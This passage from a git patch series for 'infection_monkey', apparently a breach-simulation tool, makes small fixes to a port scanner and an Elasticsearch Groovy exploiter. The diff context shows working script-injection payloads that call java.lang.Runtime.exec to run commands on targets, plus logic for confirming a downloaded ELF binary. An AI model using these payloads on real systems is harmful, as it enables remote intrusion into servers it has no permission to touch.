connected_ports_sockets]))) banners = [] - if get_banner: + if get_banner and (len(connected_ports_sockets) != 0): readable_sockets, _, _ = select.select([s[1] for s in connected_ports_sockets], [], [], 0) # read first BANNER_READ bytes banners = [sock.recv(BANNER_READ) if sock in readable_sockets else "" From f1bbb255cd501c41567c1c57e32787a630ccbe40 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 2 Apr 2018 17:19:45 +0300 Subject: [PATCH 17/19] Fix edge case in ElasticGroovy --- infection_monkey/exploit/elasticgroovy.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/infection_monkey/exploit/elasticgroovy.py b/infection_monkey/exploit/elasticgroovy.py index bf904724e..cdd3e0dcb 100644 --- a/infection_monkey/exploit/elasticgroovy.py +++ b/infection_monkey/exploit/elasticgroovy.py @@ -25,11 +25,11 @@ class ElasticGroovyExploiter(HostExploiter): MONKEY_RESULT_FIELD = "monkey_result" GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")' - JAVA_GET_TMP_DIR =\ + JAVA_GET_TMP_DIR = \ GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")' JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")' JAVA_CMD = GENERIC_QUERY \ - % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" + % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m' DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder @@ -139,8 +139,8 @@ class ElasticGroovyExploiter(HostExploiter): http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() if (http_thread.downloads != 1) or ( - 'ELF' not in - self.check_if_remote_file_exists_linux(target_path)): + 'ELF' not in + self.check_if_remote_file_exists_linux(target_path)): LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) return False return True @@ -232,5 +232,5 @@ class ElasticGroovyExploiter(HostExploiter): try: json_resp = json.loads(response.text) return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD] - except KeyError: + except (KeyError, IndexError): return None From 7f89cc753d2302ef2dfc31b1fe1bda1e0d04b01f Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 2 Apr 2018 18:05:52 +0300 Subject: [PATCH 18/19] Add missing pip dependency --- infection_monkey/requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/infection_monkey/requirements.txt b/infection_monkey/requirements.txt index 2c96e311c..bd7689886 100644 --- a/infection_monkey/requirements.txt +++ b/infection_monkey/requirements.txt @@ -14,3 +14,4 @@ ecdsa netifaces mock nose +ipaddress \ No newline at end of file From 2365f4db42ebff3d435daaf878db0e7b2889634e Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 2 Apr 2018 18:28:44 +0300 Subject: [PATCH 19/19] Fix edge case when returning invalid input in EG exploiter --- infection_monkey/exploit/elasticgroovy.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/exploit/elasticgroovy.py b/infection_monkey/exploit/elasticgroovy.py index cdd3e0dcb..182b8d792 100644 --- a/infection_monkey/exploit/elasticgroovy.py +++ b/infection_monkey/exploit/elasticgroovy.py @@ -204,7 +204,7 @@ class ElasticGroovyExploiter(HostExploiter): """ result = self.attack_query(payload) if not result: # not vulnerable - return False + return "" return result[0] def attack_query(self, payload):